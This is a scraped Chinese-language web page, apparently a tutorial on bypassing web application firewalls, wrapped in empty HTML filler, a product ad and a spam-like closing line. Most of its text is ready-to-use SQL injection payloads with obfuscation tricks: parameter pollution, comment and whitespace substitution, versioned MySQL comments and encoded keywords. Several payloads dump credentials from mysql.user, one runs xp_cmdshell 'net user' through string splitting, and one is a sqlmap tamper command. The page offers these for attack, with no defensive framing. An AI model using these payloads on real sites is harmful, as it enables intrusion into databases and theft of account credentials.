<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ThinkChat2.0新版上線,更智能更精彩,支持會話、畫圖、視頻、閱讀、搜索等,送10W Token,即刻開啟你的AI之旅 廣告
                # 各種WAF繞過方法 waf針對于get防護度是很高的,很多選項默認開啟,但是cookie post很多功能并不開啟,現在沒有一個安全廠商可以做到全部功能開啟,資源占用量太大,所以一般只檢測常見問題 因此在繞過的時候盡量避免get請求 ### (1)編碼繞過 最常見的方法之一,可以進行urlencode,早期的方法,現在效果不是太好 ### (2)修改請求方式繞過 最典型的修改請求方式繞過,很多的asp,aspx網站都存在這個問題,有時候WAF對GET進行了過濾,但是Cookie甚至POST參數卻沒有檢測。 ###(3)復參數繞過 ```url #例如一個請求是這樣的 GET /pen/news.php?id=1 union select user,password from mysql.user #可以修改為 GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user ``` 很多WAF都可以這樣繞,測試最新版WAF能繞過部分語句 ### (4)WAF觸發規則的繞過 WAF在這里主要是針對一些特殊的關鍵詞或者用法進行檢測。繞過方法很多 #### 策略一:特殊字符替換空格 用一些特殊字符代替空格,比如在mysql中`%0a`是換行,代替空格,用多行注釋`/**/`代替空格, 還有前面學的url編碼,如`%23`是井號,混用如下: ``` #原注入語句 xxx/sql.php/id=1 union select 1,user(),3,4,5 #混用后 xxx/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5 xxx/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2 ``` #### 策略二:特殊字符拼接 把特殊字符拼接起來繞過WAF的檢測,比如在mssql中,函數里面可以用+來拼接 ``` #如: GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’) #可以改為: GET /pen/news.php?id=1;exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’) ``` ### 策略三:注釋包含關鍵字 在mysql中,可以利用`/!/`包含關鍵詞進行繞過,在mysql中這個不是注釋,而是取消注釋的內容。 ``` GET /pen/news.php?id=1 union select user,password from mysql.user #可以改為: GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user ``` #### 策略四:特殊符號 嘗試`seelct~ select~1 select! select@`等繞過 ### (5):空格替換法 把空格替換成`%0a/**/`可以繞過最新版本WAF, ``` xxx/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5 ``` ### (6)關鍵字替換 ``` xxx/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4…. #此方法適用于一些會把union select替換掉的WAF,經過WAF過濾后就會變成 union select 1,2,3,4.... ``` ### (7)編碼與注釋結合 ``` xxx/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4… xxx/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5 xxx/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不攔截) #U替換為%55,S替換為%53 在 union 和 select 之間添加注釋/**/ #手工進行加注釋進行注入太慢,一般我們通過Sqlmap這類工具來實現自動注入: sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1 ``` ### (8)利用WAF本身的功能繞過 假如你發現WAF會把"*"替換為空,那么你就可以利用這一特性來進行繞過 ``` xxx/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4.... 其它方法 -15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…) ``` ### (9)使用其他變量或者命令對注入語句進行替換 ``` COMMAND 代替品 WHAT TO USE INSTEAD @@version 代替品 version() concat() 代替品 concat_ws() group_concat() 代替品 concat_ws() = 代替品 like #還有就是把or '1=1' 改成更復雜的如-1=-1** ``` ###(10)組合繞過waf 先判斷注入點,把and為&&,urlencode后為%26%26 ``` xxx/sql.php?id=1 and -1=-2 #變為 xxx/sql.php?id=1%20%26%26%20-1=-2 ``` 通過上面的變化,找到注入點后的繞過方法 1. 利用()代替空格 2. 利用mysql特性/!/執行語句 3. 利用/**/混淆代碼 注入語句 ``` id=1 union/*%00*//*!50010select*/(database/**/()),(user/**/())%23 id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1, id=1 user(),(database/**/()),4,5 id=1 union/*%00*//*!50010select*/1,user(),version(),4,5 ``` 注意 1. mysql關鍵字中是不能插入/**/的,即se/**/lect是會報錯的,但是函數名和括號之間是可以加上/**/的,像database/**/()這樣的代碼是可以執行的 2. /!/中間的代碼是可以執行的,其中50010為mysql版本號,只要mysql大于這個版本就會執行里面的代碼 3. 數據或者函數周圍可以無限嵌套() 4. 利用好00截斷`%00`
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看